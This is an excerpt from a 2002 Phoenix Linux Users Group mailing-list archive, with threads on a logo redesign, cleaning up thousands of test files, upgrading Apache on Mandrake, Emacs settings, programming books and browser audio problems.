Date: Thu, 20 Jun 2002 20:08:10 -0700 (MST) Subject: Off-topic... In-Reply-To: Message-ID: Am 20. Jun, 2002 schwätzte Jiva DeVoe so: > So sue me... I know there's some other Mac OSX users on here... Anyone > besides me into coding on OSX? Or interested in learning about it? Email > off-list since this is off topic. :) (Though it IS an Open-source Unix > based OS) It's *mostly* *BSD, so it's *almost* not off-topic :). It does some funky-add mac stuff, but there's still *BSD in there somewhere and we allow *BSD stuff... We'll ( Frenchie, that is ) even be willing to help install *BSD Sat. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 05:08:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 22:08:08 -0700 (MST) Subject: [PLUG-announce]Jun west-side meeting Message-ID: moin, moin, Jim will give the presentation for the June meeting at GCC ( next Tue ). The topic will be a review of the InstallFest. 19:00 at GCC in the Hich Tech 1 teleconference room. Check the web site, http://PLUG.phoenix.az.us/, for a map and driving directions. ciao, der.hans -- # https://www.LuftHans.com/ # A Polish friend of mine got an offer for a free account from AOL. The # login ID was "HELLO" and the passwd "CYMBAL". She says "cymbal" is # Polish for "sucker". "Hello sucker" a greeting from AOHell :). _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:26:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 20:26:36 -0700 Subject: oops... to many files and can't clean up... Message-ID: <3D129CEC.89B04388@leml.asu.edu> ummm.... I have a unit and regression test suite for my ecological modeling virtual machine. I needed to bump up one of the tests to run for a longer time for model testing. Problem was that I forgot that I am creating an image dump for *every* variable specified each and every iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images for umm... looks like 8 variables, and there are 15 other unit tests... So now I find that I have over 25,000 files in a single directory. oops. Ok, off to clean them up.... First, ls and rm complain that there are to many files to "rm *.pgm", so I go though and delete them by group name... ok, appears to go ok. Now I am finally able to "rm *.pgm" so they should be clean up. Problem is that once I do that I still have hundreds of pgm files in the directory that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I have corrupted the file system or something. any suggestions? thoughts: shut down the machine, reboot single user, fsck ever partition (including XFS partions), and recite some prayer to Boolean... other ideas, thoughts, intuitions as to what happens when creating 10's of thousands of files in a single directory by accident? EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:34:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 20:34:43 -0700 Subject: oops... to many files and can't clean up... References: <3D129CEC.89B04388@leml.asu.edu> Message-ID: <3D129ED3.62C3CC27@leml.asu.edu> sorry to reply to my own message, but a quick update... I went to another xterm and tried get a second look at things. From there I was able to see and remove the rest of the files (no idea what happend to that one xterm to muck with ls/rm). Anyway, things are cleaned up, and that even seemed to fix things in the original xterm that was causing the problems... I may well still reboot and FSCK... Any idea what could have screwed up? I remember that there used to be a limit of 10,000 files/directory or inode. That is why I was originally concerned with having more than 2.5 times that in a single directory. EBo -- "John (EBo) David" wrote: > > ummm.... > > I have a unit and regression test suite for my ecological modeling > virtual machine. I needed to bump up one of the tests to run for a > longer time for model testing. Problem was that I forgot that I am > creating an image dump for *every* variable specified each and every > iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images > for umm... looks like 8 variables, and there are 15 other unit tests... > > So now I find that I have over 25,000 files in a single directory. > oops. Ok, off to clean them up.... > > First, ls and rm complain that there are to many files to "rm *.pgm", so > I go though and delete them by group name... ok, appears to go ok. Now > I am finally able to "rm *.pgm" so they should be clean up. Problem is > that once I do that I still have hundreds of pgm files in the directory > that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I > have corrupted the file system or something. > > any suggestions? > > thoughts: > > shut down the machine, reboot single user, fsck ever partition > (including XFS partions), and recite some prayer to Boolean... > > other ideas, thoughts, intuitions as to what happens when creating 10's > of thousands of files in a single directory by accident? > > EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:26:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 21:26:42 -0700 Subject: Plug Logo Update In-Reply-To: <20020621024811.23743.qmail@web13403.mail.yahoo.com> References: <20020621024811.23743.qmail@web13403.mail.yahoo.com> Message-ID: <200206202126.42756.zen2now@qwest.net> it does flow better with an S, but that is how it is on the PLUG website. but no biggy, it will be an easy change. slr On Thursday 20 June 2002 07:48 pm, bob smith wrote: > --- slr wrote: > > well austin is the man, he is done. so for all you > > guys and gals who are > > interested. you can view the image @ > > > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > > > and of coarse feed back is welcome, just be nice. > > > > :~D > > > > slr > > > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > > I just wanted to give you guys an update on the > > > > progress of the new image. > > > > > Austin is done with the complete re-draw of Tux, > > > > and i must say it is the > > > > > most beautiful computer generated Tux image i have > > > > ever seen. the lines are > > > > > so clean, and aliasing is non-existent on the > > > > edges and should remain that > > > > > way no matter how big or small the image is. he > > > > would have already been > > > > > done with it, but our CEO has slammed him with a > > > > lot of work. so hopefully > > > > > by next week sometime we will have a complete > > > > vector image, and by looks of > > > > > it so far, one we will all be very proud to hang > > > > across our upper torso's. > > > > > :~D > > > > > > slr > > That is really slick. The only thing that I see, and > maybe I might be wrong on this, is that it says > "Phoenix Linux User Group". Should it be "Phoenix > Linux Users Group". Missing an S? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:52:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Thu, 20 Jun 2002 23:52:53 -0500 (CDT) Subject: Plug Logo Update In-Reply-To: Message-ID: Is it just me or is teh Phoenix Linux on top not centered properly? Hopefully he didnt spend much time on 'redoing' Tux since LArry Ewing has vector tux on his website already, also Larry does 'own' Tux, though he is very generous and general just asks if you use Tux for merchandise that you just provide him a piece of the merchandise for his 'collection'. -Derek On Thu, 20 Jun 2002 alandd@mindspring.com wrote: > It is beautiful, but... > > The saguaro cactus is very well known and both easily recognized and > automatically associated with Arizona. I think it is a mistake to change the > cacti in the logo to some other species. I would like to see it as majestic > saguaro cacti so our logo graphically announces our location in Arizona. > > Alan > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:55:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 20 Jun 2002 21:55:43 -0700 (MST) Subject: openoffice.org ready for prime time? Message-ID: As seen on /. NY Times, June 20, 2002, OpenOffice.org: "The world waited for a contender that was so compelling, people might actually consider filing for Microsoft divorce. Now there is one. It's called OpenOffice, and it has a killer feature: it's free. " http://www.nytimes.com/2002/06/20/technology/circuits/20STAT.html free registration required ... - t From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:57:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 21:57:37 -0700 Subject: Plug Logo Update References: Message-ID: <000b01c218e0$29ec5410$2f7c0d82@peyote> for that i will have to ask, Mr. Austin how he would feel about posting the master somewhere. he has donated his time to this project, so i dont think he would have a problem with it. slr ----- Original Message ----- From: "Matt Wyant" To: Sent: Thursday, June 20, 2002 5:39 PM Subject: RE: Plug Logo Update > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > is there a master format you can post? such as a PNG, PSD, etc. with > layers and sprites intact? > > > "Black holes are where God divided by zero." > -- Steven Wright > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr > Sent: Thursday, June 20, 2002 5:27 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug Logo Update > > > well austin is the man, he is done. so for all you guys and gals who > are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new > > image. Austin is done with the complete re-draw of Tux, and i must > > say it is the most beautiful computer generated Tux image i have > > ever seen. the lines are so clean, and aliasing is non-existent on > > the edges and should remain that way no matter how big or small the > > image is. he would have already been done with it, but our CEO has > > slammed him with a lot of work. so hopefully by next week sometime > > we will have a complete vector image, and by looks of it so far, > > one we will all be very proud to hang across our upper torso's. :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write > > mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z > NHVf8BG+YOR87OAQxXS7VtaB > =rRqv > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 05:04:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 22:04:10 -0700 Subject: Plug Logo Update References: Message-ID: <001701c218e1$14834290$2f7c0d82@peyote> good point. i will get Austin to create one with saguaro's as well. slr ----- Original Message ----- From: To: Sent: Thursday, June 20, 2002 7:25 PM Subject: Re: Plug Logo Update > It is beautiful, but... > > The saguaro cactus is very well known and both easily recognized and > automatically associated with Arizona. I think it is a mistake to change the > cacti in the logo to some other species. I would like to see it as majestic > saguaro cacti so our logo graphically announces our location in Arizona. > > Alan > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 07:28:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 21 Jun 2002 00:28:29 -0700 (MST) Subject: Plug Logo Update In-Reply-To: <001701c218e1$14834290$2f7c0d82@peyote> Message-ID: Am 20. Jun, 2002 schwätzte slr so: > good point. i will get Austin to create one with saguaro's as well. If we he does, can we impose further and get sag w/ and w/o blossoms? Saguaro blossom is the official flower of .az.us, so it'd be cool to have one with flowers, but they'd look like zits on small images... ciao, der.hans -- # https://www.LuftHans.com/ # "There are two kinds of people; Human beings and women. And when women # start acting like human beings, they are accused of trying to be men." # -- Simone de Beauvoir From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 07:38:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Fri, 21 Jun 2002 00:38:29 -0700 Subject: Off-topic... Message-ID: <7D2FB294FA311F4299D03CC8D3904370716598@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_TXs/46g2FJeoupgPOyOTfg) Content-type: text/plain; charset="iso-8859-1" I'm a wannabe. I don't quite have a Mac yet but I will soon and I will be attempting to port some genomics apps to it. So consider me interested. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Jiva DeVoe [mailto:jivad@earthlink.net] Sent: Thursday, June 20, 2002 4:24 PM To: Plug-Discuss Subject: Off-topic... So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? 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= --Boundary_(ID_TXs/46g2FJeoupgPOyOTfg)-- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 13:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Fri, 21 Jun 2002 06:00:00 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206210600.00339.dennisk@sahuaro.f2s.com> On Friday 21 June 2002 12:28 am, der.hans wrote: > Am 20. Jun, 2002 schwätzte slr so: > > good point. i will get Austin to create one with saguaro's as well. > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > one with flowers, but they'd look like zits on small images... > > ciao, > > der.hans The logo is looking good! The prickley pear work for me. Any reason not to do both pear and sahuaro for variety? I'm thinking t-shirts! Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:15:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Fri, 21 Jun 2002 07:15:47 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <1024243844.12004.23.camel@nabla.phx.viz> References: <1024243844.12004.23.camel@nabla.phx.viz> Message-ID: <20020621071547.50a64287.dickson@permanentmail.com> On 16 Jun 2002 09:10:43 -0700, Gordon Chamberlin wrote: > Is anyone else annoyed by the new GUI menu bar that emacs now places > right under the text menu bar on a stock installation of Redhat 7.3? > > I have looked for a way to remove it, but have been unsuccessful so > far. If anyone could tell me the magic incantation configuration > setting that needs to be invoked, I would be very grateful. I really > want that space back to display information. > May I ask why you didn't look in the options menu? There is an option "Customize Emacs" with sub-option like "Browse Customization Groups". I disabled the toolbar that way, although I left the menu bar (so Emacs appears like it did in version 20). Perhaps this method was too obvious. :-) I'm running RH 7.2, but I've been updating various applications with the versions from RH 7.3. Doing this has been pretty trivial, since RH didn't make any significant, incompatible changes (if they did, they'd probably have labeled it RH 8.0). -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:37:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 07:37:14 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <002701c21931$22b4c780$2f7c0d82@peyote> actually that is what i was thinking, but i didnt know how the rest of the group would feel about that. but IMHO, i think we should have both. slr ----- Original Message ----- From: "Dennis Kibbe" To: Sent: Friday, June 21, 2002 6:00 AM Subject: Re: Plug Logo Update > On Friday 21 June 2002 12:28 am, der.hans wrote: > > Am 20. Jun, 2002 schwätzte slr so: > > > good point. i will get Austin to create one with saguaro's as well. > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > > one with flowers, but they'd look like zits on small images... > > > > ciao, > > > > der.hans > > The logo is looking good! The prickley pear work for me. Any reason not to do > both pear and sahuaro for variety? > > I'm thinking t-shirts! > > Dennis Kibbe > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:57:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 21 Jun 2002 07:57:17 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <3D133ECD.78A38C80@leml.asu.edu> Dennis Kibbe wrote: > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > Am 20. Jun, 2002 schwätzte slr so: > > > good point. i will get Austin to create one with saguaro's as well. > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > > one with flowers, but they'd look like zits on small images... > > > > ciao, > > > > der.hans > > The logo is looking good! The prickley pear work for me. Any reason not to do > both pear and sahuaro for variety? using vector graphics we can easily mix and match the background... Sunbathing Tux, Surfing Tux, Mountainbiking Tux, Skeet-shootin (bill's picture on each ;-) Tux, Rambo Tux, ... ;-) > I'm thinking t-shirts! My family used to do T-shirts, but I do not thin we all still do... I could ask, but something that we do still do is custom tile. Would a Saguaro Tux on a 6" ceramic tile trivet go over well? In the dark and distant past we also used to run a full ceramics studio... I invision Suguaro and Prickly Tux on coffee mugs ;-) hmmm.... time to talk to mom see what's up ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 15:12:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 21 Jun 2002 08:12:30 -0700 (MST) Subject: Plug Certs? In-Reply-To: <3D125C0B.4070402@qwest.net> Message-ID: Sure! Which flavor Certs did you want, peppermint or wintergreen? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 15:55:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) Subject: apache upgrade Message-ID: Am on a Mandrake 7.2 box... I know there are remote exploits for Apache and I want to upgrade... Tried to use the Mandrake Update program to update Apache. it fails, with no sensible error message, so I'm trying to do it manually... Apparently there are about a dozen other RPMs apache depends on. This looked hopeless (download a.rpm, try to install, it wants b.rpm, download, it wants c.rpm, etc etc) So I downloaded the apache source rpm, but i can't install that because it wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. Any ideas how to proceed? \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:04:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 09:04:08 -0700 (PDT) Subject: Good Book on Programming and Algorithm Development Message-ID: <20020621160408.7595.qmail@web10604.mail.yahoo.com> Bill: Specifically, 'Java How to Program' from Dietel & Dietel is a really good book. Each chapter shows the programmer development techniques using the most commonly used algorithms (sorting, searching, recursion and some data structures like stacks and queues). The examples are very good, and the code explanation is very concise. I have a lot of 'useless' programming books - but this one is the best I've seen in a long time. Be prepared to shell out around $70 bucks for it though....But if you look around ...you will not find any book that matches it's subject matter. I Think they do a good job in explaining the in-and-outs of the specific programming language (in this case Java), and how to apply the common algorithms to the specific language. They have a series on Java Visual Basic (if anyone is interested) C C++ Python This list may be incomplete...But it's worth checking out.... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:19:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Fri, 21 Jun 2002 09:19:51 -0700 (MST) Subject: apache upgrade In-Reply-To: Message-ID: http://rpmfind.net/linux/rpm2html/search.php?query=gdbm-devel&submit=Search+... I didn't see any for Madrake.. try the RH version(?) Suggestion only as I don't run Mandrake but use this site when I run into 'requires package => foo' On Fri, 21 Jun 2002, William Lindley wrote: > Am on a Mandrake 7.2 box... I know there are remote exploits for Apache > and I want to upgrade... > > Tried to use the Mandrake Update program to update Apache. it fails, with > no sensible error message, so I'm trying to do it manually... > > Apparently there are about a dozen other RPMs apache depends on. This > looked hopeless (download a.rpm, try to install, it wants b.rpm, download, > it wants c.rpm, etc etc) > > So I downloaded the apache source rpm, but i can't install that because it > wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. > > Any ideas how to proceed? > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:20:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 21 Jun 2002 09:20:55 -0700 (PDT) Subject: apache upgrade In-Reply-To: Message-ID: http://rpmfind.speakeasy.net is a MUCH faster mirror. On Fri, 21 Jun 2002, Patrick Fleming EA wrote: > > http://rpmfind.net/linux/rpm2html/search.php?query=gdbm-devel&submit=Search+... > > I didn't see any for Madrake.. try the RH version(?) Suggestion only as I > don't run Mandrake but use this site when I run into 'requires package => > foo' From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:25:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 09:25:43 -0700 (PDT) Subject: Help getting experience Message-ID: <20020621162543.52195.qmail@web10602.mail.yahoo.com> Wow - when I saw the list, I realized I have a lot to learn. I'm a newbie in the computer field (I'm a software tech for a local software company), and the stuff on the list I hope I can pick up through the years... In the company I work for, I'm always looking over the programmer's shoulder and asking questions. The more questions you ask, the more you learn. Even though I went to school for IT, they never taught me the in's-and-outs of every-day programmings...just the basics. The stuff on your list is great, and any aspiring programmer will want to take a good look at it. BTW...my gut instinct tells me that the second example 'if (a.equals("something")){ ---instructions---- } will compile and work....I've seen this example before, but not sure why a.equals works rather than a == ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:37:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 09:37:41 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206210937.41191.zen2now@qwest.net> yes it is a little off center, but an easy fix. he didnt spend to much time, he grabbed one of the images from Larry's site to use as a template, and then did the redraw in like an hour. but the only vector based image @ http://www.isc.tamu.edu/~lewing/linux/ we could find, was a postscript version of the black and white penguin. that was why he decided to redraw it, but of coarse all credits for Tux himself should go to the owner. All that Austin has asked in return for his time is a T-Shirt. As for further work on the logo, that will have to resume on Monday. Austin has decided to take a long weekend and is not here today. I am going to have to talk to his boss! :~D slr On Thursday 20 June 2002 09:52 pm, Derek Neighbors wrote: > Is it just me or is teh Phoenix Linux on top not centered properly? > > Hopefully he didnt spend much time on 'redoing' Tux since LArry Ewing has > vector tux on his website already, also Larry does 'own' Tux, though he is > very generous and general just asks if you use Tux for merchandise that > you just provide him a piece of the merchandise for his 'collection'. > > -Derek > > On Thu, 20 Jun 2002 alandd@mindspring.com wrote: > > It is beautiful, but... > > > > The saguaro cactus is very well known and both easily recognized and > > automatically associated with Arizona. I think it is a mistake to change > > the cacti in the logo to some other species. I would like to see it as > > majestic saguaro cacti so our logo graphically announces our location in > > Arizona. > > > > Alan > > > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > > > well austin is the man, he is done. so for all you guys and gals who are > > interested. you can view the image @ > > > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > > > and of coarse feed back is welcome, just be nice. :~D > > > > slr > > > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > > I just wanted to give you guys an update on the progress of the new > > > image. Austin is done with the complete re-draw of Tux, and i must say > > > it is the most beautiful computer generated Tux image i have ever seen. > > > the lines are so clean, and aliasing is non-existent on the edges and > > > should remain that way no matter how big or small the image is. he > > > would have already been done with it, but our CEO has slammed him with > > > a lot of work. so hopefully by next week sometime we will have a > > > complete vector image, and by looks of it so far, one we will all be > > > very proud to hang across our upper torso's. > > > > > > :~D > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:00:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:00:30 -0700 Subject: Sound in opera - Linux at work Message-ID: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Hi, So far Opera 6.01 is the only browser that does all I need it to do except 1 thing. I have a web page that downloads a wav file when certain events happen. I have to be able to hear the wave file. I can hear sound if it comes in as part of a shockwave file. When I go to the preferences section "Enable embedded audio" is grayed out . I think that perhaps the line in the page that brings in the sound file may be a prorietary Microsoft tag. I've asked the developer to email me the code, but haven't gotten it yet. The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue using linux at work. HELP!!!! Charlie From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:26:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 21 Jun 2002 10:26:54 -0700 Subject: Sound in opera - Linux at work References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Message-ID: <005f01c21948$d8cd5430$0301010a@tickticker.com> Charlie, Is opera your only choice? Is this the end of Linux on your desktop? try mozilla, netscape or any of the other small army of browsers, one of them should do it. just not IE ;-) There are a couple sites out there that list them all, and hold on, try http://kmself.home.netcom.com/Linux/FAQs/browsers.html for a start. then you could also contact opera using one of the tools on http://www.opera.com/support/. they do have free email support Anthony ----- Original Message ----- From: "charlie bullen" To: Sent: Friday, June 21, 2002 10:00 